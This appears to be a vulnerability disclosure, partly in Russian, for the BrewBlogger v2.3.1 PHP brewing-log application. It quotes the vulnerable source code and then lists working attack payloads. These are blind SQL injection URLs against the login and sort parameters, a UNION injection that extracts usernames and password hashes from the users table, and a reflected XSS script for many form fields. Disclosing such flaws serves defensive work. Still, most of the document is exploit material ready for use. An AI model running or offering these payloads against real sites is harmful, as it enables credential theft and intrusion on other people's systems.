BrewBlogger v2.3.1
http://www.brewblogger.net/
patch disclosure
http://localhost/brewblogger/includes/plug-ins.inc.php
----------------------
index.php
PHP код:
//image dir / SQL information and connect to MySQL server
require_once ('Connections/config.php');
//choose SQL table and set up functions to user authentication and
//navbar configuration for login/logout links
require ('includes/authentication_nav.inc.php'); session_start();
includes\authentication_nav.inc.php
$query_user = sprintf("SELECT * FROM users WHERE user_name = '%s'", $loginUsername);
$user = mysql_query($query_user, $brewing) or die(mysql_error());
$row_user = mysql_fetch_assoc($user);
$totalRows_user = mysql_num_rows($user);
Blind SQL
mq=off
http://localhost/brewblogger/index.php?loginUsername='+UNION+SELECT+(select+*+f rom(select+*+from(select+name_const((version()),1) d)+as+t+join+(select+name_const((version()),1)e)b) a)+--+
-----------------------
includes/db_connect_log.inc.php
PHP код:
/* set pagination variables */
if ($view == "limited") $display = 25;
elseif ($view == "all") $display = 9999999;
$pg = (isset($_REQUEST['pg']) && ctype_digit($_REQUEST['pg'])) ? $_REQUEST['pg'] : 1;
$start = $display * $pg - $display;
if (($row_pref['mode'] == "1") || (($row_pref['mode'] == "2") && ($filter == "all"))) {
mysql_select_db($database_brewing, $brewing);
$query_result = "SELECT count(*) FROM brewing";
if ($style != "all") $query_result .= " WHERE brewStyle='$style' AND"; else $query_result .= " WHERE";
$query_result .= " NOT brewArchive='Y'";
$result = mysql_query($query_result, $brewing) or die(mysql_error());
$total = mysql_result($result, 0);
$query_log = "SELECT * FROM brewing";
if ($style != "all") $query_log .= " WHERE brewStyle='$style' AND"; else $query_log .= " WHERE";
$query_log .= " NOT brewArchive='Y'";
$query_log .= " ORDER BY $sort $dir LIMIT $start, $display";
$sort слешируется ранее,
PHP код:
includes/url_variables.inc.php
$sort = "brewDate";
if (isset($_GET['sort'])) {
$sort = (get_magic_quotes_gpc()) ? $_GET['sort'] : addslashes($_GET['sort']);
}
$display никак не фильтруется. Хочется получить limit union select но мешает order by, поэтому только
Blind SQL
http://localhost/brewblogger/index.php?page=brewBlogList&&sort=(select+*+from(s elect+*+from(select+name_const((version()),1)d)+as +t+join+(select+name_const((version()),1)e)b)a)
----------------------
sections.entry.inc.php
PHP код:
$dbTable = "brewing";
if (isset($_GET['dbTable'])) {
$dbTable = (get_magic_quotes_gpc()) ? $_GET['dbTable'] : addslashes($_GET['dbTable']);
}
if ($action == "default") {
$style = "default";
if (isset($_GET['style'])) {
$style = (get_magic_quotes_gpc()) ? $_GET['style'] : addslashes($_GET['style']);
}
}
else
$style = $_POST['style'];
if (($action == "verify") || ($action == "print")) {
$name = $_POST['name'];
$address = $_POST['address'];
$city = $_POST['city'];
$state = $_POST['state'];
$zip = $_POST['zip'];
$homePhone = $_POST['homePhone'];
$workPhone = $_POST['workPhone'];
$email = $_POST['email'];
$brewClub = $_POST['brewClub'];
$brewName = $_POST['brewName'];
$still = $_POST['still'];
$dry = $_POST['dry'];
$hydromel = $_POST['hydromel'];
$petillant = $_POST['petillant'];
$semi = $_POST['semi'];
$standard = $_POST['standard'];
$sweet = $_POST['sweet'];
$sparkling = $_POST['sparkling'];
$sack = $_POST['sack'];
$special = $_POST['special'];
$waterTreatment = $_POST['waterTreatment'];
$yeastLiquid = $_POST['yeastLiquid'];
$yeastDried = $_POST['yeastDried'];
$starter = $_POST['starter'];
$yeastNutrients = $_POST['yeastNutrients'];
$carbonation = $_POST['carbonation'];
$volumeC02 = $_POST['volumeC02'];
$primingSugar = $_POST['primingSugar'];
$bottlingDate = $_POST['bottlingDate'];
$finingsType = $_POST['finingsType'];
$finingsAmount = $_POST['finingsAmount'];
}
mysql_select_db($database_brewing, $brewing);
$query_log = sprintf("SELECT * FROM $dbTable WHERE id = '%s'", $id);
$log = mysql_query($query_log, $brewing) or die(mysql_error());
$row_log = mysql_fetch_assoc($log);
$totalRows_log = mysql_num_rows($log);
$query_style1 = sprintf("SELECT * FROM styles WHERE brewStyle = '%s'", $style);
SQL
mq=off
http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=defau lt
post
style=-1' union select 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,unh ex(hex(concat_ws(0x3a,user_name,password))) from users --
pXSS
для полей
name
address
city
state
zip
homePhone
workPhone
email
brewClub
brewName
still
dry
hydromel
petillant
semi
standard
sweet
sparkling
sack
special
waterTreatment
yeastLiquid
yeastDried
starter
yeastNutrients
carbonation
volumeC02
primingSugar
bottlingDate
finingsType
finingsAmount
по типу
http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=defau lt
post
city=<script>alert(121212)</script>